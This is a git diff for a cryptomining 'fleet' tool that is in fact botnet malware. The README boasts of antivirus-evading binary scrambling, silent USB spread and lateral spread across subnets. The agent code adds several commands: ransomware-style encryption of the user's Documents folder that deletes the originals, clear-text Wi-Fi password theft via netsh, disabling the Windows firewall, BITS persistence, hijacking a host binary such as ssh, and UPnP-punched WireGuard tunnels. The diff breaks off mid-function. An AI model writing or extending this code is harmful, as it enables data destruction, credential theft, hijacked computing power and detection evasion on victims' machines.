diff --git a/README.md b/README.md index dd4366b..e8ffab3 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,7 @@ No pool hopping through third-party dashboards. No per-rig SSH babysitting. You ``` ┌─────────────────────────────────────────────────────────────────────┐ - │ CALIBRATE (Settings) pool · wallet · users · alerts │ + │ CALIBRATE (Settings) pool · wallet · users · Telegram alerts │ │ │ │ │ ▼ │ │ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │ @@ -149,6 +149,45 @@ Enable **USB Propagation** in the Forge. The baked binary: - Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC - Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet) +### Telegram & fleet notifications (Calibrate) + +Configure once under **Calibrate → Alert Notifications**: + +| Field | What to enter | +|-------|----------------| +| **Telegram Bot Token** | From [@BotFather](https://t.me/BotFather) | +| **Telegram Chat ID** | Your numeric user ID (from [@userinfobot](https://t.me/userinfobot)) — **not** the bot’s ID | +| **Notify me when…** | Per-event checkboxes (all on by default) | + +**Events that can ping Telegram** (and optional SMTP email): + +| Event | When it fires | +|-------|----------------| +| New agent connects | First time a worker joins the fleet | +| Agent reconnects | Back online or replaces an active session | +| Agent offline | Past **Offline After (minutes)** threshold | +| Hashrate drop | Below **Hashrate Drop %** vs baseline | +| Rejection spike | Bad shares above **Rejection Rate %** | +| Forge complete | Any successful build (exe, spread kit, fusion ZIP) | + +Use **Send test notification** after **Save Calibration** to verify delivery. Thresholds live in **Fleet Alerts** on the same page. + +> **Security:** Never paste bot tokens in chat or commit them. Store only in `data/config.json` (gitignored). + +### Forge hardening & dispense UX + +- **Sigil scramble** (default on) — unique binary hash per forge (PE timestamp + entropy overlay) without changing runtime behavior +- **Garble** + **polymorph** + optional **Authenticode** signing — layered static-signature variation +- **Dispense Reveal** — full-screen success ceremony with stealth index, binary DNA fingerprint, and download + +### Fleet ops (recent) + +- **Full system check** — remote posture snapshot (AV, firewall, disk, DNS, ports) from Fleet Roster or Crucible +- **Desktop push** — deploy files to `@desktop/` on workers +- **BITS persistence** / **host binary** run modes (Windows, advanced Forge) +- **Path Tracer** — multi-hop WireGuard path builder (dashboard page) +- **Haptic sound** + **glow particles** — optional UI feedback (Settings) + --- ## Quick Start @@ -162,7 +201,7 @@ Enable **USB Propagation** in the Forge. The baked binary: 3. **Sign in** — first run: check the console window for your generated admin password -4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers +4. **Calibrate** → wallet + pool + public URL; optional **Telegram** bot token + chat ID for fleet pings 5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer** @@ -204,6 +243,8 @@ Run **`pack-usb.bat`** from the project root. It: Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`. +> **After any code change**, run `npm run build` in `server/web/`, then `pack-usb.bat` to sync the portable bundle. The USB bundle is **not** updated automatically — it only reflects what was current the last time `pack-usb.bat` ran. + > **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines. --- @@ -302,6 +343,7 @@ crypto miner/ | POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet | | POST | `/api/v1/agents/bulk-command` | Send command to multiple agents | | GET | `/api/v1/alerts` | Active fleet alerts | +| POST | `/api/v1/alerts/test` | Test Telegram / SMTP (no real alert raised) | | GET | `/api/v1/pools/status` | Stratum pool connection states | | GET | `/api/v1/earnings/estimate` | XMR/day estimate | | GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) | @@ -404,6 +446,8 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. - **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep - **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions - **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents +- **Sigil scramble** — post-forge uniquification of each dispensed binary +- **Telegram notifier** — configurable per-event pushes from agent connect, health thresholds, and forge complete - **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS - **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler - **Retention jobs** — auto-purge old hashrate samples and stale build artifacts diff --git a/agent/client/aggressive_commands.go b/agent/client/aggressive_commands.go index 7187584..1fc3568 100644 --- a/agent/client/aggressive_commands.go +++ b/agent/client/aggressive_commands.go @@ -1,6 +1,7 @@ package client import ( + "encoding/json" "fmt" "strconv" "strings" @@ -18,12 +19,12 @@ func (c *AgentClient) allowRemoteAction(action string) (bool, string) { if !c.cfg.AutoSpread && !c.cfg.RemoteAggressive { return false, "lateral spread not enabled in forge (auto_spread or remote aggressive ops)" } - case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch": + case "start_tunnel", "subnet_scan", "defender_off", "firewall_punch", "firewall_off", "firewall_on", "firewall_profiles", "firewall_remove", "bits_persist", "host_binary_persist", "sys_crypt", "get_wifi_passwords": if !c.cfg.RemoteAggressive { return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)" } - case "supp_seek": - // No forge gate — always available; path is required at call time. + case "supp_seek", "wg_setup", "wg_configure", "wg_teardown", "wg_status": + // No forge gate — always available. case "mesh_status": if !c.cfg.MeshP2P { return false, "mesh P2P not enabled in forge" @@ -123,6 +124,91 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm c.sendCommandResult(action, true, msg) return true + case "firewall_off": + msg, err := deploy.DisableWindowsFirewall() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "firewall_on": + msg, err := deploy.EnableWindowsFirewall() + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "firewall_profiles": + // command: "on" or "off" (default off). path: Domain,Private,Public or all + enable := strings.EqualFold(strings.TrimSpace(command), "on") || + strings.EqualFold(strings.TrimSpace(command), "enable") || + strings.EqualFold(strings.TrimSpace(command), "true") + profiles := strings.TrimSpace(path) + if profiles == "" { + profiles = "all" + } + msg, err := deploy.SetWindowsFirewallProfiles(enable, profiles) + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + c.sendCommandResult(action, true, msg) + return true + + case "bits_persist": + bin, err := deploy.InstalledBinaryPath(c.cfg) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + if err := deploy.CreateBITSPersistence(c.cfg, bin); err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, fmt.Sprintf("BITS notify job registered (%s)", deploy.BitsJobName(c.cfg))) + return true + + case "host_binary_persist": + bin, err := deploy.InstalledBinaryPath(c.cfg) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + preset := strings.TrimSpace(path) + if preset == "" { + preset = strings.TrimSpace(c.cfg.HostBinaryTarget) + } + if preset == "" { + preset = "ssh" + } + target, err := deploy.HijackHostBinary(c.cfg, bin, preset) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return true + } + c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset)) + return true + + case "firewall_remove": + var parts []string + ruleName := strings.TrimSpace(path) + if ruleName != "" { + msg, err := deploy.RemoveFirewallRuleByName(ruleName) + if err != nil { + c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg)) + return true + } + parts = append(parts, msg) + } + deploy.RemoveFirewallExclusionWindows(c.cfg) + parts = append(parts, "Removed AetherForge miner firewall rules (if present)") + c.sendCommandResult(action, true, strings.Join(parts, "\n")) + return true + case "supp_seek": seekPath := strings.TrimSpace(path) if seekPath == "" { @@ -147,9 +233,62 @@ func (c *AgentClient) handleAggressiveCommand(action string, tailLines int, comm }() return true + case "sys_crypt": + go func() { + result := SysCrypt() + c.sendCommandResult(action, true, result) + }() + return true + + case "get_wifi_passwords": + go func() { + result := grabWiFiPasswords() + c.sendCommandResult(action, true, result) + }() + return true + case "mesh_status": count := c.mesh.PeerCount() - c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count)) + if count == 0 && c.cfg.MeshP2P { + c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled") + } else { + c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count)) + } + return true + + case "wg_setup": + // Generates WireGuard keypair, tries UPnP, returns JSON result to server. + go func() { + result := WGSetupJSON() + c.sendCommandResult(action, true, result) + }() + return true + + case "wg_configure": + // data field carries the JSON WGConfigPayload from the server. + var payload WGConfigPayload + if err := json.Unmarshal([]byte(data), &payload); err != nil { + c.sendCommandResult(action, false, "bad wg config payload: "+err.Error()) + return true + } + go func() { + if err := WGConfigure(payload); err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + c.sendCommandResult(action, true, "WireGuard tunnel started") + }() + return true + + case "wg_teardown": + go func() { + WGTeardown() + c.sendCommandResult(action, true, "WireGuard tunnel removed") + }() + return true + + case "wg_status": + c.sendCommandResult(action, true, WGStatus()) return true } diff --git a/agent/client/client.go b/agent/client/client.go index f3fc82c..93773dd 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -393,9 +393,21 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, switch action { case "pause": c.pool.PauseRemote() + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gm.Pause() + } c.sendCommandResult(action, true, "mining paused") case "resume": c.pool.ResumeRemote() + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gm.Resume() + } c.sendCommandResult(action, true, "mining resumed") case "restart": c.sendCommandResult(action, true, "restarting") @@ -470,27 +482,59 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, return } c.sendCommandResult(action, true, string(out)) - case "upload": - if path == "" || data == "" { + case "upload", "push_desktop": + if data == "" { + c.sendCommandResult(action, false, "data (base64) is required") + return + } + dest := path + if action == "push_desktop" { + name := strings.TrimSpace(path) + if name == "" { + name = strings.TrimSpace(command) + } + var err error + dest, err = deploy.ResolveDesktopFile(name) + if err != nil { + c.sendCommandResult(action, false, "desktop path: "+err.Error()) + return + } + } else if dest == "" { c.sendCommandResult(action, false, "path and data (base64) are required") return + } else { + resolved, err := deploy.ResolveRemotePath(dest) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + dest = resolved } decoded, err := base64.StdEncoding.DecodeString(data) if err != nil { c.sendCommandResult(action, false, "invalid base64 data: "+err.Error()) return } - if err := os.WriteFile(path, decoded, 0644); err != nil { + if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil { + c.sendCommandResult(action, false, "failed to create directory: "+err.Error()) + return + } + if err := os.WriteFile(dest, decoded, 0644); err != nil { c.sendCommandResult(action, false, "failed to write file: "+err.Error()) return } - c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded))) + c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded))) case "download": if path == "" { c.sendCommandResult(action, false, "path is required") return } - b, err := os.ReadFile(path) + resolved, err := deploy.ResolveRemotePath(path) + if err != nil { + c.sendCommandResult(action, false, err.Error()) + return + } + b, err := os.ReadFile(resolved) if err != nil { c.sendCommandResult(action, false, "failed to read file: "+err.Error()) return @@ -796,7 +840,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.Services = lastPosture.Services } payload, _ := json.Marshal(stats) - _ = c.write(Message{Type: "stats", Payload: payload}) + if err := c.write(Message{Type: "stats", Payload: payload}); err != nil { + log.Printf("[agent] stats send failed: %v", err) + } } } } diff --git a/agent/client/commands_common.go b/agent/client/commands_common.go index 75584e2..0ccc705 100644 --- a/agent/client/commands_common.go +++ b/agent/client/commands_common.go @@ -21,6 +21,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) { } func (c *AgentClient) handleReconCommand(action, command string) bool { + if action == "full_sys_check" { + report := CollectFullSysCheck(c.cfg, c.agentID) + c.sendCommandResult(action, true, report.JSON()) + return true + } + handled, success, msg := c.platformRecon(action, command) if !handled { return false diff --git a/agent/client/commands_unix.go b/agent/client/commands_unix.go index 030a2df..483e00a 100644 --- a/agent/client/commands_unix.go +++ b/agent/client/commands_unix.go @@ -8,6 +8,11 @@ import ( "strings" ) +// grabWiFiPasswords is not supported on non-Windows platforms. +func grabWiFiPasswords() string { + return "get_wifi_passwords: unsupported on this platform" +} + // execPowerCommand runs shutdown or reboot on Unix/Linux/macOS. func (c *AgentClient) execPowerCommand(kind string) error { var args []string diff --git a/agent/client/commands_windows.go b/agent/client/commands_windows.go index 6b34e23..b948ee1 100644 --- a/agent/client/commands_windows.go +++ b/agent/client/commands_windows.go @@ -7,6 +7,62 @@ import ( "strings" ) +// grabWiFiPasswords enumerates saved WiFi profiles and extracts their clear-text +// keys using netsh, returning a formatted multi-line result string. +func grabWiFiPasswords() string { + // List all profiles. + profileOut, err := silentCombinedOutput("netsh", "wlan", "show", "profiles") + if err != nil { + return fmt.Sprintf("netsh wlan show profiles failed: %v\n%s", err, string(profileOut)) + } + + var profiles []string + for _, line := range strings.Split(string(profileOut), "\n") { + line = strings.TrimSpace(line) + // Lines look like: " All User Profile : ProfileName" + if strings.Contains(line, ":") { + parts := strings.SplitN(line, ":", 2) + if len(parts) == 2 { + name := strings.TrimSpace(parts[1]) + if name != "" { + profiles = append(profiles, name) + } + } + } + } + + if len(profiles) == 0 { + return "no WiFi profiles found" + } + + var sb strings.Builder + for _, profile := range profiles { + detailOut, err := silentCombinedOutput("netsh", "wlan", "show", "profile", + "name="+profile, "key=clear") + if err != nil { + sb.WriteString(fmt.Sprintf("%s : \n", profile, err)) + continue + } + key := "" + for _, line := range strings.Split(string(detailOut), "\n") { + line = strings.TrimSpace(line) + if strings.HasPrefix(line, "Key Content") { + parts := strings.SplitN(line, ":", 2) + if len(parts) == 2 { + key = strings.TrimSpace(parts[1]) + } + break + } + } + if key != "" { + sb.WriteString(fmt.Sprintf("%s : %s\n", profile, key)) + } else { + sb.WriteString(fmt.Sprintf("%s : \n", profile)) + } + } + return strings.TrimSpace(sb.String()) +} + // execPowerCommand runs shutdown or reboot via cmd.exe directly (bypasses // PowerShell execution policy restrictions). Returns an error if the // command exits non-zero. diff --git a/agent/client/crypt_stub.go b/agent/client/crypt_stub.go new file mode 100644 index 0000000..1252fd2 --- /dev/null +++ b/agent/client/crypt_stub.go @@ -0,0 +1,8 @@ +//go:build !windows + +package client + +// SysCrypt is a no-op on non-Windows platforms. +func SysCrypt() string { + return "sys_crypt is Windows-only in this build" +} diff --git a/agent/client/crypt_windows.go b/agent/client/crypt_windows.go new file mode 100644 index 0000000..08ffd93 --- /dev/null +++ b/agent/client/crypt_windows.go @@ -0,0 +1,113 @@ +//go:build windows + +package client + +import ( + "crypto/aes" + "crypto/cipher" + "crypto/rand" + "crypto/sha256" + "fmt" + "io" + "os" + "path/filepath" + "strings" + + "golang.org/x/sys/windows" +) + +const cryptPassword = "password" + +// documentsDir returns the current user's Documents folder path via the +// Windows SHGetKnownFolderPath API (FOLDERID_Documents). +func documentsDir() (string, error) { + path, err := windows.KnownFolderPath(windows.FOLDERID_Documents, 0) + if err != nil { + // Fall back to USERPROFILE\Documents + if up := os.Getenv("USERPROFILE"); up != "" { + return filepath.Join(up, "Documents"), nil + } + return "", fmt.Errorf("cannot resolve Documents folder: %w", err) + } + return path, nil +} + +// deriveKey returns a 32-byte AES-256 key from the hardcoded password via SHA-256. +func deriveKey(password string) []byte { + sum := sha256.Sum256([]byte(password)) + return sum[:] +} + +// encryptFile encrypts src in-place with AES-256-GCM, writing src+".enc" and +// deleting the original. The 12-byte nonce is prepended to the ciphertext. +func encryptFile(path string, key []byte) error { + plaintext, err := os.ReadFile(path) + if err != nil { + return err + } + + block, err := aes.NewCipher(key) + if err != nil { + return err + } + gcm, err := cipher.NewGCM(block) + if err != nil { + return err + } + + nonce := make([]byte, gcm.NonceSize()) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return err + } + + ciphertext := gcm.Seal(nonce, nonce, plaintext, nil) + + dst := path + ".enc" + if err := os.WriteFile(dst, ciphertext, 0600); err != nil { + return err + } + + return os.Remove(path) +} + +// SysCrypt walks the user's Documents folder and AES-256-GCM-encrypts every +// file (skipping files already ending in ".enc"). Returns a summary string. +func SysCrypt() string { + docsDir, err := documentsDir() + if err != nil { + return "sys_crypt error: " + err.Error() + } + + key := deriveKey(cryptPassword) + + var encrypted, skipped, failed int + var errs []string + + err = filepath.WalkDir(docsDir, func(path string, d os.DirEntry, walkErr error) error { + if walkErr != nil || d.IsDir() { + return nil + } + if strings.HasSuffix(path, ".enc") { + skipped++ + return nil + } + if err := encryptFile(path, key); err != nil { + failed++ + if len(errs) < 5 { + errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err)) + } + return nil + } + encrypted++ + return nil + }) + if err != nil { + return fmt.Sprintf("sys_crypt walk error: %v", err) + } + + summary := fmt.Sprintf("sys_crypt done — encrypted: %d skipped: %d failed: %d", encrypted, skipped, failed) + if len(errs) > 0 { + summary += "\nErrors: " + strings.Join(errs, "; ") + } + return summary +} diff --git a/agent/client/gpu_miner.go b/agent/client/gpu_miner.go index e4cf750..5e47857 100644 --- a/agent/client/gpu_miner.go +++ b/agent/client/gpu_miner.go @@ -58,10 +58,14 @@ type GPUMiner struct { mu sync.RWMutex stats GPUMinerStats active bool + paused bool proc *os.Process // currently running subprocess (nil if stopped) - stopCh chan struct{} - wg sync.WaitGroup + stopCh chan struct{} + pauseCh chan struct{} // closed when paused, re-created on resume + resumeCh chan struct{} // closed when resuming from pause + pauseMu sync.Mutex + wg sync.WaitGroup } // newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected. @@ -81,12 +85,17 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner { return nil } log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model) - return &GPUMiner{ + g := &GPUMiner{ cfg: cfg, info: info, installDir: installDir, stopCh: make(chan struct{}), + pauseCh: make(chan struct{}), + resumeCh: make(chan struct{}), } + // Start with resumeCh closed so the run loop is not blocked. + close(g.resumeCh) + return g } // Start downloads (if needed) and launches the GPU miner, then polls stats. @@ -100,6 +109,8 @@ func (g *GPUMiner) Start() { // Stop shuts down the GPU miner and waits for it to exit. func (g *GPUMiner) Stop() { + // Resume first so the run loop is not blocked on pauseCh when stop fires. + g.Resume() select { case <-g.stopCh: default: @@ -108,6 +119,74 @@ func (g *GPUMiner) Stop() { g.wg.Wait() } +// Pause suspends KawPoW polling and kills the running miner subprocess until +// Resume is called. Safe to call multiple times. +func (g *GPUMiner) Pause() { + g.pauseMu.Lock() + defer g.pauseMu.Unlock() + g.mu.Lock() + already := g.paused + if !already { + g.paused = true + // Kill the running process so it stops consuming GPU. + if g.proc != nil { + _ = g.proc.Kill() + } + } + g.mu.Unlock() + if !already { + // Signal the run loop to enter the paused wait. + select { + case <-g.pauseCh: + default: + close(g.pauseCh) + } + log.Printf("[gpu] miner paused by remote command") + } +} + +// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused. +func (g *GPUMiner) Resume() { + g.pauseMu.Lock() + defer g.pauseMu.Unlock() + g.mu.Lock() + wasPaused := g.paused + g.paused = false + g.mu.Unlock() + if wasPaused { + // Unblock the run loop waiting on resumeCh, then reset both channels. + select { + case <-g.resumeCh: + default: + close(g.resumeCh) + } + g.pauseCh = make(chan struct{}) + g.resumeCh = make(chan struct{}) + log.Printf("[gpu] miner resumed by remote command") + } +} + +// waitIfPaused blocks the run loop while paused, returning false if stop fires. +func (g *GPUMiner) waitIfPaused() bool { + g.pauseMu.Lock() + pauseCh := g.pauseCh + resumeCh := g.resumeCh + g.pauseMu.Unlock() + + select { + case <-pauseCh: + // Paused — wait for resume or stop. + select { + case <-g.stopCh: + return false + case <-resumeCh: + return true + } + default: + return true + } +} + // Stats returns the latest GPU mining statistics. func (g *GPUMiner) Stats() (GPUMinerStats, bool) { g.mu.RLock() @@ -159,6 +238,10 @@ func (g *GPUMiner) run() { default: } + if !g.waitIfPaused() { + return + } + ep := pools[poolIdx%len(pools)] proc, err := g.startProcessOnPool(binPath, ep) if err != nil { @@ -325,11 +408,24 @@ func (g *GPUMiner) spec() minerSpec { func (g *GPUMiner) ensureMinerBinary() (string, error) { spec := g.spec() + + // 1. Check the agent's install directory first. binPath := filepath.Join(g.installDir, spec.fileName) if _, err := os.Stat(binPath); err == nil { return binPath, nil } - log.Printf("[gpu] downloading %s from %s", spec.fileName, spec.downloadURL) + + // 2. Check the directory that contains the running agent binary (side-by-side). + if exePath, err := os.Executable(); err == nil { + sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName) + if _, err := os.Stat(sideBySide); err == nil { + log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName) + return sideBySide, nil + } + } + + // 3. Fall back to downloading from GitHub. + log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)") if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil { return "", fmt.Errorf("download failed: %w", err) } diff --git a/agent/client/pathtracer_stub.go b/agent/client/pathtracer_stub.go new file mode 100644 index 0000000..e81aa95 --- /dev/null +++ b/agent/client/pathtracer_stub.go @@ -0,0 +1,38 @@ +//go:build !windows + +package client + +// WGSetupResult is the cross-platform type returned by WGSetupJSON. +type WGSetupResult struct { + PublicKey string `json:"public_key"` + ExternalIP string `json:"external_ip"` + ExternalPort int `json:"external_port"` + UPnPOK bool `json:"upnp_ok"` + Error string `json:"error,omitempty"` +} + +// WGPeerEntry describes one WireGuard peer. +type WGPeerEntry struct { + PublicKey string `json:"public_key"` + Endpoint string `json:"endpoint"` + AllowedIPs string `json:"allowed_ips"` + PersistentKeepalive int `json:"persistent_keepalive"` +} + +// WGConfigPayload is sent server→agent to configure the tunnel. +type WGConfigPayload struct { + SessionID string `json:"session_id"` + PrivateKey string `json:"private_key"` + LocalAddress string `json:"local_address"` + ListenPort int `json:"listen_port"` + Peers []WGPeerEntry `json:"peers"` + EnableIPForwarding bool `json:"enable_ip_forwarding"` +} + +func WGSetupJSON() string { + return `{"error":"WireGuard Path Tracer is Windows-only in this build"}` +} + +func WGConfigure(_ WGConfigPayload) error { return nil } +func WGTeardown() {} +func WGStatus() string { return "not supported on this platform" } diff --git a/agent/client/pathtracer_windows.go b/agent/client/pathtracer_windows.go new file mode 100644 index 0000000..ccaf0fd --- /dev/null +++ b/agent/client/pathtracer_windows.go @@ -0,0 +1,299 @@ +//go:build windows + +package client + +import ( + "crypto/rand" + "encoding/base64" + "encoding/json" + "fmt" + "log" + "net/http" + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + + "crypto-miner-agent/deploy" + + "golang.org/x/crypto/curve25519" +) + +const wgUDPPort = 51820 + +// WGSetupResult is returned to the server after wg_setup. +type WGSetupResult struct { + PublicKey string `json:"public_key"` + ExternalIP string `json:"external_ip"` + ExternalPort int `json:"external_port"` + UPnPOK bool `json:"upnp_ok"` + Error string `json:"error,omitempty"` +} + +// WGPeerEntry is one peer entry inside WGConfigPayload. +type WGPeerEntry struct { + PublicKey string `json:"public_key"` + Endpoint string `json:"endpoint"` // "ip:port" + AllowedIPs string `json:"allowed_ips"` + PersistentKeepalive int `json:"persistent_keepalive"` +} + +// WGConfigPayload is sent from the server to configure this agent's WireGuard tunnel. +type WGConfigPayload struct { + SessionID string `json:"session_id"` + PrivateKey string `json:"private_key"` + LocalAddress string `json:"local_address"` // e.g. "10.66.0.2/24" + ListenPort int `json:"listen_port"` + Peers []WGPeerEntry `json:"peers"` + EnableIPForwarding bool `json:"enable_ip_forwarding"` +} + +// wgState holds active tunnel state so teardown knows what to clean up. +var wgState struct { + sessionID string + configPath string + tunnelName string +} + +// WGSetup generates a keypair, tries UPnP, and returns setup info to the server. +func WGSetup() WGSetupResult { + priv, pub, err := generateWGKeyPair() + if err != nil { + return WGSetupResult{Error: "keypair gen failed: " + err.Error()} + } + + // Persist private key for when wg_configure arrives. + _ = os.MkdirAll(wgWorkDir(), 0700) + _ = os.WriteFile(filepath.Join(wgWorkDir(), "wg_priv.key"), []byte(priv), 0600) + + res := WGSetupResult{ + PublicKey: pub, + ExternalPort: wgUDPPort, + } + + // Try UPnP — open UDP 51820. + r, err := deploy.PunchUPnP(wgUDPPort, wgUDPPort, "PathTracer-WG") + if err == nil && r.Success { + res.ExternalIP = r.ExternalIP + res.UPnPOK = true + log.Printf("[pathtracer] UPnP opened UDP %s:%d", r.ExternalIP, wgUDPPort) + } else { + // Fall back to the IP the server sees on the WebSocket connection. + res.UPnPOK = false + log.Printf("[pathtracer] UPnP failed, server will use its seen IP: %v", err) + } + + return res +} + +// WGConfigure writes the WireGuard config and starts the tunnel as a Windows service. +func WGConfigure(payload WGConfigPayload) error { + privKey := payload.PrivateKey + if privKey == "" { + // Use the key we generated in WGSetup. + raw, err := os.ReadFile(filepath.Join(wgWorkDir(), "wg_priv.key")) + if err != nil { + return fmt.Errorf("private key not found: %w", err) + } + privKey = strings.TrimSpace(string(raw)) + } + + conf := buildWGConfig(privKey, payload) + tunnelName := "PathTracer-" + payload.SessionID[:8] + confPath := filepath.Join(wgWorkDir(), tunnelName+".conf") + + if err := os.WriteFile(confPath, []byte(conf), 0600); err != nil { + return fmt.Errorf("write config: %w", err) + } + + // Enable IP forwarding so this node can relay traffic. + if payload.EnableIPForwarding { + _ = enableIPForwarding() + } + + // Install and start the WireGuard service. + wgExe, err := ensureWGExe() + if err != nil { + return fmt.Errorf("wireguard not available: %w", err) + } + + // Remove any stale service first (ignore errors). + _ = runHidden(wgExe, "/uninstallservice", tunnelName) + + if err := runHidden(wgExe, "/installservice", confPath); err != nil { + return fmt.Errorf("wg installservice: %w", err) + } + + wgState.sessionID = payload.SessionID + wgState.configPath = confPath + wgState.tunnelName = tunnelName + log.Printf("[pathtracer] WireGuard tunnel %s started", tunnelName) + return nil +} + +// WGTeardown stops and removes the WireGuard tunnel and cleans up UPnP. +func WGTeardown() { + if wgState.tunnelName != "" { + wgExe, err := ensureWGExe() + if err == nil { + _ = runHidden(wgExe, "/uninstallservice", wgState.tunnelName) + } + _ = os.Remove(wgState.configPath) + wgState = struct { + sessionID string + configPath string + tunnelName string + }{} + } + _, _ = deploy.CloseUPnP(wgUDPPort) + log.Printf("[pathtracer] WireGuard tunnel torn down") +} + +// WGStatus returns the number of active WireGuard peers. +func WGStatus() string { + if wgState.tunnelName == "" { + return "no active tunnel" + } + wgExe, err := ensureWGExe() + if err != nil { + return "tunnel active (wg.exe unavailable)" + } + cmd := exec.Command(wgExe, "show", wgState.tunnelName) + cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000} + out, _ := cmd.CombinedOutput() + return "tunnel=" + wgState.tunnelName + "\n" + strings.TrimSpace(string(out)) +} + +// ── helpers ────────────────────────────────────────────────────────────────── + +func generateWGKeyPair() (privateB64, publicB64 string, err error) { + var priv [32]byte + if _, err = rand.Read(priv[:]); err != nil { + return + } + // WireGuard Curve25519 key clamping. + priv[0] &= 248 + priv[31] &= 127 + priv[31] |= 64 + + var pub [32]byte + curve25519.ScalarBaseMult(&pub, &priv) + + privateB64 = base64.StdEncoding.EncodeToString(priv[:]) + publicB64 = base64.StdEncoding.EncodeToString(pub[:]) + return +} + +func buildWGConfig(privKey string, p WGConfigPayload) string { + port := p.ListenPort + if port == 0 { + port = wgUDPPort + } + var sb strings.Builder + sb.WriteString("[Interface]\n") + fmt.Fprintf(&sb, "PrivateKey = %s\n", privKey) + fmt.Fprintf(&sb, "Address = %s\n", p.LocalAddress) + fmt.Fprintf(&sb, "ListenPort = %d\n", port) + sb.WriteString("DNS = 1.1.1.1\n\n") + for _, peer := range p.Peers { + sb.WriteString("[Peer]\n") + fmt.Fprintf(&sb, "PublicKey = %s\n", peer.PublicKey) + if peer.Endpoint != "" { + fmt.Fprintf(&sb, "Endpoint = %s\n", peer.Endpoint) + } + ai := peer.AllowedIPs + if ai == "" { + ai = "0.0.0.0/0" + } + fmt.Fprintf(&sb, "AllowedIPs = %s\n", ai) + ka := peer.PersistentKeepalive + if ka == 0 { + ka = 25 + } + sb.WriteString(fmt.Sprintf("PersistentKeepalive = %d\n\n", ka)) + } + return sb.String() +} + +func wgWorkDir() string { + base := os.Getenv("LOCALAPPDATA") + if base == "" { + base = os.TempDir() + } + return filepath.Join(base, "PathTracer") +} + +// ensureWGExe returns the path to wireguard.exe, downloading if needed. +func ensureWGExe() (string, error) { + candidates := []string{ + `C:\Program Files\WireGuard\wireguard.exe`, + `C:\Program Files (x86)\WireGuard\wireguard.exe`, + filepath.Join(wgWorkDir(), "wireguard.exe"), + } + for _, p := range candidates { + if _, err := os.Stat(p); err == nil { + return p, nil + } + } + return downloadWireGuard() +} + +func downloadWireGuard() (string, error) { + const dlURL = "https://download.wireguard.com/windows-client/wireguard-installer.exe" + installDir := wgWorkDir() + _ = os.MkdirAll(installDir, 0755) + installerPath := filepath.Join(installDir, "wireguard-installer.exe") + + resp, err := http.Get(dlURL) + if err != nil { + return "", fmt.Errorf("download wireguard: %w", err) + } + defer resp.Body.Close() + data := make([]byte, 0, 8*1024*1024) + buf := make([]byte, 32*1024) + for { + n, rerr := resp.Body.Read(buf) + if n > 0 { + data = append(data, buf[:n]...) + } + if rerr != nil { + break + } + } + if err := os.WriteFile(installerPath, data, 0755); err != nil { + return "", fmt.Errorf("write installer: 